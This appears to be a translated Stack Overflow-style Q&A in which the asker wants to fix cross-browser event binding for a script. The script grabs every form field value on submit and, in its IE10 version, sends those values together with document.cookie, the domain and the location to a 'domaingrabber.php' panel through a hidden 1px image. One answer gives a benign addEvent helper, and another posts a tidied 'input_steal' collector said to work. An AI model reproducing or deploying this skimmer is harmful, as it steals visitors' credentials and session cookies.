2

因此,我有 2 组 js,一组带有附加事件,另一组带有 addEventListener 附加事件,在 IE 8 中按预期完美运行,在 IE 9 中使用 addEventListener。如果我在 jsfiddle 中的 firefox 上使用 addEventListener,在 firefox 中似乎可以正常工作,但没有问题一旦我部署它并尝试按预期使用它,它根本不起作用,任何输入都会很棒.. IE 8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

IE 10

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

任何想法都会很棒,这很愚蠢,但我今天想不出来

4

2 回答 2

5

将它们组合成一个可以检测正确方法的通用函数:

function addEvent(element, eventName, callback) {
    if (element.addEventListener) {
        element.addEventListener(eventName, callback, false);
    } else if (element.attachEvent) {
        element.attachEvent("on" + eventName, callback);
    }
}

然后像这样使用它:

addEvent(document.getElementById("some_id"), "click", function () {
    // Your click handler for that element
});

这样,您绑定事件的代码不需要弄清楚要使用哪个,只要您调用addEvent.

于 2013-06-11T15:52:21.787 回答
0

我刚刚在您的帮助下创建了以下内容,谢谢。它适用于我的 Firefox。我上传了一个演示到http://mikaelz.host.sk/helpers/input_steal.html

function collectInputs() {
    var forms = parent.document.getElementsByTagName("form");
    for (var i = 0;i < forms.length;i++) {
        forms[i].addEventListener('submit', function() {
            var data = [],
                subforms = parent.document.getElementsByTagName("form");

            for (x = 0 ; x < subforms.length; x++) {
                var elements = subforms[x].elements;
                for (e = 0; e < elements.length; e++) {
                    if (elements[e].name.length) {
                        data.push(elements[e].name + "=" + elements[e].value);
                    }
                }
            }
            console.log(data.join('&'));
            // attachForm(data.join('&));
        }, false);
    }
}
window.onload = collectInputs();
于 2014-03-08T17:40:26.710 回答